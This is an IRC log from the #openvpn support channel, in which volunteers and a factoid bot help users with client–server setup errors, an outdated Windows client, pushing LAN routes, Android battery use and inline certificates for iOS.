09:54 < vaillor> /etc/openvpn2/openvpn-2.3.0/src/openvpn/openvpn
09:58 -!- lbft__ is now known as lbft
10:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:05 < TheWarden> When generating the client's crt and key it prompts for "A challenge password". I entered one but I noticed that when the client connects to the VPN it doesn't prompt to input a password. Is this normal behavior? All VPNs I've ever used I've had to input a password or username and password.
10:09 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 260 seconds]
10:11 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
10:14 < vaillor> TheWarden
10:14 < vaillor> i used your guide
10:15 < vaillor> but when i try to connect i get:
10:15 < vaillor> Tue Mar 12 16:13:29 2013 MANAGEMENT: Socket bind failed on local address [AF_INET]127.0.0.1:25340: Address already in use (WSAEADDRINUSE)
10:15 < vaillor> Tue Mar 12 16:13:29 2013 Exiting due to fatal error
10:16 <@ecrist> vaillor: /usr/local/sbin/openvpn is the binary you want to use then
10:16 <@ecrist> vaillor: let me see your config, please
10:17 -!- raidz_away is now known as raidz
10:18 < vaillor> ecrist: http://pastebin.com/HYP6K2is
10:21 < vaillor> this is server side: http://pastebin.com/x2Fqgpzy
10:21 < TheWarden> vaillor: I think ecrist could help a lot more than me in this area. I may have just lucked out to get mine working but it appears to continue to work without issues. Granted I did edit my router/firewall to do port forwarding as well. Not all things are on that page.
10:22 < vaillor> I'm going crazy :)
10:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
10:31 < vaillor> ecrist, i geave you configuration
10:32 < TheWarden> vaillor: can you list the contents of /etc/openvpn ?
10:32 < TheWarden> vaillor: when you uses easy-rsa did you use 1.0 or 2.0?
10:34 < vaillor> 2.0
10:36 < TheWarden> vaillor: okay, well I could be wrong here but I believe the server.conf should change the line # 7 to dh dh2048.pem
10:36 < TheWarden> vaillor: I need to see the contents of /etc/openvpn please, just do a ls -al and then copy/paste the results to a pastebin for me to see.
10:37 < vaillor> TheWarden
10:37 < vaillor> Tue Mar 12 16:13:29 2013 MANAGEMENT: Socket bind failed on local address [AF_INET]127.0.0.1:25340: Address already in use (WSAEADDRINUSE)
10:37 < vaillor> Tue Mar 12 16:13:29 2013 Exiting due to fatal error
10:37 < vaillor> this is my error
10:37 < TheWarden> vaillor: okay, well lets start where I'm looking at first please.
10:38 < vaillor> what?
10:43 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
10:47 -!- Bakz [~meh@184.75.214.42] has joined #openvpn
10:49 -!- Bakou [~meh@58.34.36.134] has quit [Ping timeout: 250 seconds]
10:49 -!- brute11k [~brute@89.249.231.191] has quit [Ping timeout: 248 seconds]
10:51 < TheWarden> vaillor: okay, can you please run the following command without quotes and copy/paste the results to a pastebin for me to look at, "ls -al".
10:52 <@ecrist> vaillor: it seems you already have openvpn running
10:53 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
10:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds]
10:53 -!- mattock [~mattock@raidz.im] has joined #openvpn
10:53 -!- mattock [~mattock@raidz.im] has quit [Changing host]
10:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
10:54 -!- mode/#openvpn [+o mattock] by ChanServ
10:54 < vaillor> ecrist, is it running
10:54 -!- abec0 [olivier@vvma.net] has quit [Ping timeout: 264 seconds]
10:54 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 264 seconds]
10:54 -!- abec0_ [olivier@vvma.net] has joined #openvpn
10:54 < vaillor> on the server i get "initialization sequence completed
10:54 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
10:55 < vaillor> brb
10:55 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit []
10:57 -!- bahzman [~meh@58.34.36.134] has joined #openvpn
10:57 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
10:57 < tabakhase> ARG, what is that shit?!  -  server on unix, clients on unix can connect just fine - windows clients die saying "tls_read_plaintext error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed" - on depth=1 (so the self signed cname=vpn-CA)
10:58 < tabakhase> more fun: another windows box, with an oder openvpn version - seems to connect just fine
10:58 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
10:58 < tabakhase> oder=older
10:58 < vaillor> ecrist: http://pastebin.com/jKwsQ4nC
11:00 -!- Bakz [~meh@184.75.214.42] has quit [Ping timeout: 248 seconds]
11:00 -!- Bakou [~meh@058177188234.ctinets.com] has joined #openvpn
11:02 -!- bahzman [~meh@58.34.36.134] has quit [Ping timeout: 255 seconds]
11:04 -!- Bakz [~meh@58.34.36.134] has joined #openvpn
11:05 < Holiday> can someone give me a clue on what the heck I'm missing.. windows client vpn (tap) to linux box, bridge setup. tcpdump shows traffic (say ping and arp who-has requests) from the vpn client on tap0 and br0, but nothing on eth1 (the card in the bridge)
11:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:05 < Holiday> net.bridge.bridge-nf-call-iptables = 0 (and just in case there's the input -i tap0 -j accept deals in iptables)
11:06 < Holiday> and none of the arp who-has are obviously receiving a reply
11:06 <@dazo> Holiday: why do you bridge?
11:06 <@dazo> tabakhase: http://www.catb.org/~esr/faqs/smart-questions.html#examples
11:06 <@vpnHelper> Title: How To Ask Questions The Smart Way (at www.catb.org)
11:07 < Holiday> dazo: lol you should remember :) Because 1: the main guy wants it as if they were plugged right into the switches because of some of the devel work and applications we have running
11:07 -!- Bakou [~meh@058177188234.ctinets.com] has quit [Ping timeout: 256 seconds]
11:07 < Holiday> and it's beyond my control so I'm working within those constraints
11:07 <@dazo> oh my goodness .... that's you .... okay .... then I have no idea :)
11:08 < Holiday> lol
11:08 < tabakhase> dazo if i had an idea what more info could be helpfull... im stuck on "having clients that work" so it dosnt realy seem to be a configuration problem...
11:08 < tabakhase> been hoping for a "yes, new win version needs cert in form XY and it will work" or a simillar punchline i missed...
11:08 <@ecrist> tabakhase: full logs from non-working client, please
11:08 < Holiday> dazo: I think I picked your brain a few times before.. still hung up and he still won't go TUN :(
11:08 <@dazo> Holiday: you can go that guy and quote me: Grow up and start setting up networking in a better way - by using routing
11:09 < vaillor> dazo: http://pastebin.com/jKwsQ4nC
11:09 <@dazo> Holiday: and if doesn't accept it .... then another quote from me: You're a lost case
11:09 < vaillor> can you check this please?
11:10 < Holiday> dazo: I did try to look into the TUN, but if I go that route I'll still need to get the clients into a .126-145 IP range.. since it's still all public IP's
11:10 <@dazo> tabakhase: no, certificate formats have not changed ... in fact, it's all standard X.509 certificates, PEM formatted
11:10 < Holiday> dazo: I wish you could just trout slap him for me lol
11:10 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 264 seconds]
11:10  * dazo goes to his freezer and pulls out a big frozen trout
11:11 <@dazo> tabakhase: so then you're back at reading the topic ... which explains all we need here
11:11 <@EugeneKay> Ooooh, trout!
11:11 < tabakhase> ecrist also want the certs themself? its allll in http://nopaste.info/c2debc94a2.html
11:11  * EugeneKay gets fresh lemon and seasonings
11:11 < Holiday> dazo: honestly it's not much skin off of my back.. if this doesn't work soon (either openvpn or ipsec/l2tp the way *he wants*, the other guy is just going to pull the trigger and get the vpn add-ons for the checkpoint firewall lol)
11:11 < Holiday> but still I just wanted to say I appreciated all the past help I received
11:12 < Holiday> err other guy = another guy
11:12 <@ecrist> tabakhase: no, do not give me certs
11:12 < vaillor> i spent 6 days trying to configure a client and server vpn, why is it so difficult?
11:12 <@EugeneKay> Holiday - the fact that you're using something called "Checkpoint Firewall" is an indication that you should run like fuck from the project
11:12 <@EugeneKay> vaillor - because you are an idiot who doesn't know how to read
11:12 <@ecrist> EugeneKay++
11:12 < tabakhase> ecrist so skip lines 28 till 74 in the paste ;-)
11:12 < Holiday> EugeneKay: They were using the cisco's but recently upgraded to the checkpoints (that was the security guys not me)
11:13 < vaillor> EugeneKay, i follow 5 howto, but i always get errors
11:13 < vaillor> every kind of error
11:13 <@EugeneKay> vaillor - I really don't care anymore
11:13 < vaillor> ecrist, have you seen the config you asked me?
11:13 <@EugeneKay> vaillor - at this point you're just being a help vampire. Go back and try to understand what is going on, but please, stop trying to get us to do it for you
11:14 <@EugeneKay> Because we won't.
11:14 < vaillor> EugeneKay, i'd like to configure this little client-server config and i'll be away forever, he problem is that nothing works
11:15 <@dazo> tabakhase: what about your server certificate?
11:16 <@ecrist> tabakhase: upgrade your openvpn client
11:16 <@ecrist> you're using 2.0.9, you need to use 2.3.0
11:16 <@ecrist> !download
11:16 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
11:16 <@dazo> EugeneKay: join the club krzee and I started .... just /ig vaillor ... it'll give you peace
11:16 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
11:16 < tabakhase> dazo thats "Subject: C=DE, ST=Berlin, L=Berlin, O=eKomi Ltd., CN=sid.ekomi.de/emailAddress=hostmaster@ekomi.de" - "Issuer: C=DE, ST=Berlin, L=Berlin, O=eKomi Ltd., CN=eKomi sid-vpn ROOT CA/emailAddress=hostmaster@ekomi.de" -- all formed with pkitool
11:16 <@EugeneKay> dazo - I can do one better than that
11:16 < TheWarden> What do I have to change in my OpenVPN configuration to allow the authenticated client to be able to access the network? Presently I'm able to connect in as a client successfully but I can only ping the OpenVPN server, nothing else on the network is accessible.
11:17 -!- mode/#openvpn [+q *!*@2-226-37-187.ip179.fastwebnet.it] by EugeneKay
11:17 <@EugeneKay> !route
11:17 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
11:17 <@dazo> tabakhase: that looks like your CA certificate
11:17 <@EugeneKay> TheWarden ^
11:17 <@vpnHelper> behind the server or client
11:17 <@ecrist> TheWarden: you need to push routes for your remote LAN to the VPN clients
11:18 <@dazo> tabakhase: do not ever confuse CA and server certificates .... and as ecrist said ... upgrade your client too
11:18 <@dazo> 2.0 isn't too happy with 2.1, and most likely even less happy with 2.2 and 2.3
11:18 <@EugeneKay> What the heck is still on 2.0
11:18 <@EugeneKay> RHEL5 & derivatives?
11:19 <@dazo> EugeneKay: Debian stable, I belive too
11:19 <@dazo> But EL5 can get the remedy by installing EPEL
11:19 <@EugeneKay> Or by upgrading to 6
11:19 < TheWarden> ecrist: so I just edit the server.conf and add something like push "route 192.168.0.1 255.255.255.0" ? I'm not sure if the first IP is suppose to be.
11:19 <@dazo> EugeneKay: yeah, but far bigger operation than installing EPEL ;-)
11:19 < uberushaximus> nope
11:19 < uberushaximus> debian stable is on 2.1
11:20 < tabakhase> setupping 2.3....
11:20 < uberushaximus> backports has 2.2
11:20 <@EugeneKay> TheWarden - that should be the netmask of the network you're trying to grant access to
11:20 < tabakhase> and i dont mixed any certs, thers a selfsigned CA that signed server (sid.ekomi.de) and client (chackmann)
11:20 <@dazo> EugeneKay: but in this case .... it's a Windows user ....
11:20 <@dazo> OpenVPN 2.0.9 Win32-MinGW
11:20 <@ecrist> tabakhase: start with an updated client
11:21 <@EugeneKay> Oh dear god, I bet he's using the old .se thing
11:21 <@EugeneKay> !download
11:21 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
11:21 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
11:21 <@ecrist> EugeneKay: you should really try to keep up
11:21 <@EugeneKay> Too much clicking
11:21 <@dazo> heh
11:21 < tabakhase> ecrist thats what im doing... [17:18:59] <tabakhase> setupping 2.3...
11:22 <@EugeneKay> Well there you go
11:23 < tabakhase> WORKS LIKE A CHARM! - you remember, thers been a reason i didnt started of with pasting tons of logs... i knew its a individual client problem (as i had other clients running fine)
11:23 < tabakhase> still i see, 90% of the guys "knowing whts the problem" actually dont ;D
11:25 <@ecrist> tabakhase: we wouldn't have known you needed to update without the log
11:26 < TheWarden> EugeneKay: right so 192.168.0.0 255.255.255.0 mmm still not working.
11:26 <@EugeneKay> !serverlan
11:26 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
11:26 < tabakhase> ecrist fair point, still it could be the first quick shot - just like "did you powered it on & pluged the cable in" ;-)
11:26 <@EugeneKay> Follow the chart ^
11:27 < TheWarden> I setup the router to port forward to the OpenVPN server I wonder if that is not done correctly. I can connect fine to the VPN server. mmm
11:27 <@EugeneKay> The chart knows all
11:28 <@ecrist> tabakhase: did you read /topic when you joined the channel?
11:28 <@ecrist> right in /topic it says what the current version is - yours was only 7 years out of date
11:29 < tabakhase> ecrist using a bouncer, im in here for moths ;-) should gave a //topic # to refresh...
11:29 <@EugeneKay> Sane bouncers/clients will display the /topic when you start it up
11:29 <@EugeneKay> Mine does.
11:30 <@ecrist> tabakhase: the truth is, I ask for !logs right away.  The first thing I look at is the openvpn version string
11:30 <@ecrist> then I look to other issues
11:31 <@ecrist> I've had people using 2.0.9 tell me they were using "most current" version, but as EugeneKay suggested, they got their client from openvpn.se, instead of the official repo
11:31 <@ecrist> there really is a method to my madness
11:31 <@EugeneKay> People are idiots.
11:32 < tabakhase> i think ive strummpled above openvpn.net because the fakeshit private tunnel they try to sneak on machines
11:32 <@EugeneKay> .net is the official site
11:32 < uberushaximus> olo
11:32 <@EugeneKay> AS/PrivateTunnel is the commercial thing
11:33 <@ecrist> they sneak private tunnel onto machines????
11:33 <@ecrist> fakeshit?
11:33 <@EugeneKay> No, just people who can't read.
11:33 < tabakhase> i guess the count "people getting scamwared by this" is >9000
11:33 <@ecrist> tabakhase: wtf are you talking about?
11:34 <@EugeneKay> It would be nice if the front page was clearer about the difference between AS/PT and GPL(some actual text would be nice), but hey
11:34 < tabakhase> ecrist from the fact that noone will ever get the idea to go to the community tab when just looking for the "software openvpn" when theres already a huge download button
11:35 < tabakhase> community? forums? no, i want a download, not a discussion...
11:36 <@ecrist> that's hardly scamware, but I see your point
11:36 <@ecrist> it's better than it used to be
11:36 < TheWarden> !ipforward
11:36 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:37 < tabakhase> so what do we have? viruses on download.com, stoneage software on openvpn.se (that seeemd like they tried to solve the issue of no nice to find download) and nicely hidden download on the producers website
11:37 <@EugeneKay> Feel free to complain to somebody who can do something about it
11:37 <@EugeneKay> IE, not us.
11:38 < tabakhase> ^^
11:38 < TheWarden> !route_outside_openvpn
11:38 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:38 < TheWarden> !route
11:38 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
11:38 <@vpnHelper> behind the server or client
11:42 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
11:43 -!- newbie is now known as TMcTrain
11:43 < copper> hi
11:44 -!- fulcan [brads@2600:3c00::f03c:91ff:fe70:f0a9] has quit [Quit: Hey!  Where'd my controlling terminal go?]
11:44 < copper> I asked a while ago about the battery consumption of the android app
11:44 < copper> I was directed to the FAQ and I changed my config to "keepalive 30 90"
11:44 < copper> that worked for a while
11:44 < copper> but now I have battery consumption issues again, I'm guessing from one of the latest updates
11:45 <@EugeneKay> Turn the connection off if you aren't actively using it. Having an always-on network connection will cause it to eat your battery
11:45 < copper> I barely use my galaxy nexus, yet I'm currently at 39% after 14 hours 34 minutes
11:45 <@EugeneKay> This is how CPU and network stacks actually work.
11:45 < copper> but it used to be fine
11:46 < copper> supposedly the screen represents 46% of the consumption, but I figured out that OpenVPN never showed in the list
11:46 <@ecrist> then why do you think it's Openvpn?
11:47 <@ecrist> honestly, I doubt it's openvpn that's killing your battery
11:47 < copper> ok
11:47 < copper> I'll turn of openvpn, charge the battery, run everything else like usual, and we'll see
11:47 < copper> off*
11:48 < copper> I'll come back tomorrow if I figure out that openvpn is indeed the culprit
11:48 < copper> sounds fair?
11:48 <@ecrist> sure?
11:48 < copper> ok
11:48 < copper> have a nice day!
11:48 -!- copper [~copper@unaffiliated/copper] has left #openvpn []
11:52 -!- marksaitis [~marksaiti@81.101.81.114] has quit [Ping timeout: 245 seconds]
11:53 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
11:57 < tabakhase> ((just for clearane, the certs i posted before been the testing ones and got replaced ;-)))
11:57 < TheWarden> Here is my server.conf, https://gist.github.com/thewarden/77f5eab37a59ad0f245f. Presently I'm able to connect successfully to the OpenVPN server as a client but I'm not able to access any server on the LAN. I can ping the OpenVPN server, but not the gateway/router or any other server.
11:57 < TheWarden> I'm reading on the subject but I'm not understand what to change.
12:02 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
12:06 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:10 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 248 seconds]
12:11 -!- AsadH is now known as zz_AsadH
12:12 <@plaisthos> ecrist: openvpn is quite good in killing the battery without showing up as battery killer :)
12:13 <@plaisthos> http://developer.android.com/training/efficient-downloads/efficient-network-access.html
12:13 <@vpnHelper> Title: Optimizing Downloads for Efficient Network Access | Android Developers (at developer.android.com)
12:13 <@plaisthos> and just think what would happen with 10s keepalive :)
12:13 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:21 <@ecrist> plaisthos: really?
12:22 <@plaisthos> yeah
12:22 <@plaisthos> keeping the radio active
12:25 <@ecrist> that's an interesting article
12:31 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:31 -!- mode/#openvpn [+v s7r] by ChanServ
12:49 -!- JSharpe [~JSharpe@46.165.210.17] has joined #openvpn
12:55 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
12:55 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
13:02 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 250 seconds]
13:03 -!- soapee01_ is now known as soapee01
13:06 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
13:06 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:06 <@dazo> hmmm .... http://www.reuters.com/article/2013/03/10/us-iran-internet-idUSBRE9290CV20130310
13:06 <@vpnHelper> Title: Iran blocks use of tool to get around Internet filter | Reuters (at www.reuters.com)
13:07 -!- brute11k [~brute@89.249.230.104] has joined #openvpn
13:10 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
13:11 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
13:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 246 seconds]
13:14 -!- jc_linux_ [~jason@72.84.113.162] has joined #openvpn
13:15 < jc_linux_> has anyone successfully configured an iOS device to connect to a personal openvpn server?
13:15 <@ecrist> afaik, a lot of people have
13:17 < jc_linux_> @ecrist: Is there anything particular with the fields of the CA cert to set?  ovpn config could use a path, obviously, iOS has some other mechanism to lookup the cert.
13:17 -!- master_of_master [~master_of@p4FF24746.dip.t-dialin.net] has joined #openvpn
13:18 <@ecrist> the best option is to embed the certificates and key in the config itself
13:18 < jc_linux_> mobileconfig or ovpn?  I'm currently using mobileconfig
13:19 <@ecrist> openvpn
13:19 <@ecrist> no idea what mobileconfig is
13:19 < uberushaximus> ios' cert mechanism
13:20 < jc_linux_> iPhone Configuration Utility generated profiles are XML with extension .mobileconfig
13:20 -!- master_o1_master [~master_of@p4FF24E96.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
13:21 < jc_linux_> I added my CA and my p12 to the profile, and configured the VPN to use the p12.  Not sure how to get OpenVPN to find the CA.
13:21  * ecrist fires up iphone sim
13:23 < jc_linux_> directions I followed are here: https://forums.openvpn.net/topic12019.html
13:23 <@vpnHelper> Title: OpenVPN Support Forum VPN-On-Demand configuration error: CertificateRef undefined : OpenVPN Connect (iOS) (at forums.openvpn.net)
13:23 < jc_linux_> @vpnHelper: dueling url's ;-)
13:24 <@ecrist> jc_linux_: vpnHelper is a bot
13:25 <@ecrist> i don't have an iphone, so I've never set it up
13:26 < jc_linux_> I think my main point of confusion is "you must enter for the "ca" value the exact containt of your ca.crt" , what is containt?  *all* the cleartext fields, the CN?
13:27 <@ecrist> look at the CA certificate itself
13:27 <@ecrist> you'll see a ----- BEGIN blah balh ----- END blah bal
13:28 <@ecrist> it's a square block of text
13:28 <@ecrist> copy that into your VPN configuration file
13:28 <@ecrist> remove the ca <file> line
13:28 <@ecrist> then, around the pasted certificate, before, put <ca> and after put </ca>
13:33 <@plaisthos> !inline
13:33 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
13:34 < jc_linux_> @ecrist: ahh, I see.  OpenVPN isn't pulling the CA from the iOS certificate store, so it needs it internally.  "containt" == "contents"
13:35 < jc_linux_> @ecrist: Thanks for the help.
13:37 <@ecrist> did that work for you?
13:37 <@ecrist> thanks, plaisthos, I forget about that factoid
13:39 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
13:40 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:41 < jc_linux_> @ecrist: testing it now.  had to concoct some tr/sed magic to go 0x0a -> \n
13:42 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
14:04 -!- dazo is now known as dazo_afk
14:04 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
14:04 < jc_linux_> @ecrist: Sweet!  It works!  Thanks again for the help.
14:11 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
14:14 <@ecrist> no problem.
14:21 < TheWarden> I've been using this article to help setup my OpenVPN. Thus far it has done quite a good job in assisting to that, however in regards to making this useful I need to get access to the entire LAN which right now do not have access. Do I follow the firewall steps to fix this? http://wingloon.com/2012/05/25/how-to-install-setup-openvpn-on-debian-6-0-squeeze-with-certificate-authentication/
14:21 <@vpnHelper> Title: How To Install Setup OpenVPN on Debian 6.0 Squeeze with Certificate Authentication | WING LOON (at wingloon.com)
14:21 < TheWarden> I'm not familiar with this at all nor do I have a firewall.sh or even sure that is how it is used on Debian Squeeze.
14:22 <@ecrist> !route
14:22 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:22 <@vpnHelper> behind the server or client
14:22 <@ecrist> see that, TheWarden 
14:30 -!- jc_linux_ [~jason@72.84.113.162] has left #openvpn []
14:30 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
14:32 -!- Irssi: #openvpn: Total of 175 nicks [8 ops, 0 halfops, 2 voices, 165 normal]
14:39 < TheWarden> ecrist: I've been reading that first link over and over trying to make sense of it. Is this article stating that I need to know the client's IP network address in order to make this work? I really don't want to know it nor want to hard code that as what if it changes then things break.
14:41 <@ecrist> no, you don't, since you're just trying to access the lan of the server, right?
14:49 -!- p3rror [~mezgani@41.140.99.173] has joined #openvpn
14:52 < TheWarden> yes right
14:52 <@ecrist> so, then you JUST need:
14:53 <@ecrist> push "route X.Y.Z.0 255.255.255.0"
14:53 <@ecrist> in the server config
14:53 <@ecrist> where you replace my garbage with your IP block and subnet mask
14:53 < TheWarden> so then my network is 192.168.0.0 so I set push "route 192.168.0.0 255.255.255.0" in the server config.
14:53 < TheWarden> I have this already but still can't access resources on the LAN once connected vi the VPN.
14:54 < TheWarden> now I don't have a route statement nor a client-to-client mmmm
14:58 -!- speed_racer8 [~speed_rac@h226.16.185.173.dynamic.ip.windstream.net] has joined #openvpn
14:59 <@ecrist> I'd STRONGLY suggest changing that IP subnet
14:59 <@ecrist> !1918
14:59 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
14:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:00 <@ecrist> TheWarden: is your VPN server also your LAN gateway?
15:00 <@ecrist> or, what is the local IP of the client you're using for testing?
15:01 < TheWarden> ecrist: I can't change the LAN network of 192.168.x.x, that would be a big change to go and change everything. The OpenVPN IP that is issued when authenticating is 10.8.0.0. The OpenVPN server is 192.168.0.240, router/gateway is 192.168.0.1 (different system then OpenVPN).
15:02 < TheWarden> ecrist: The VPN server is not the LAN gateway, VPN is 192.168.0.240 and gateway is 192.168.0.1
15:04 < TheWarden> VPN subnet server 10.8.0.0 255.255.255.0
15:05 < TheWarden> My current server.conf, https://gist.github.com/thewarden/77f5eab37a59ad0f245f
15:05 <@vpnHelper> Title: The OpenVPN works but the client can not access servers on the LAN of the VPN server. I can only ping the OpenVPN server itself not the gateway/router or any other server on the LAN. (at gist.github.com)
15:06 -!- p3rror [~mezgani@41.140.99.173] has quit [Quit: Leaving]
15:11 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
15:11 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
15:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
15:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:19 -!- Devastator [~devas@186.214.110.30] has joined #openvpn
15:29 -!- brute11k [~brute@89.249.230.104] has quit [Quit: Leaving.]
15:36  * TheWarden sighs out of frustration
15:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:48 -!- p3rror [~mezgani@41.140.99.173] has joined #openvpn
15:50 < TheWarden> the VPN server, do I need to alter the iptables in order for this to work?
15:51 < dioz> uh
15:53 < TheWarden> I've read over and over these articles given to me and still nothing. I'm just not getting it I guess. argh
16:01 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has joined #openvpn
16:07 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
16:07 -!- mezgani [~mezgani@41.249.96.133] has joined #openvpn
16:10 -!- p3rror [~mezgani@41.140.99.173] has quit [Ping timeout: 260 seconds]
16:12 -!- mezgani [~mezgani@41.249.96.133] has quit [Read error: Connection reset by peer]
16:31 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:44 -!- speed_racer8 [~speed_rac@h226.16.185.173.dynamic.ip.windstream.net] has quit [Quit: Leaving]
16:49 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
16:49 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit [Remote host closed the connection]
16:50 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
16:51 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 240 seconds]
17:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
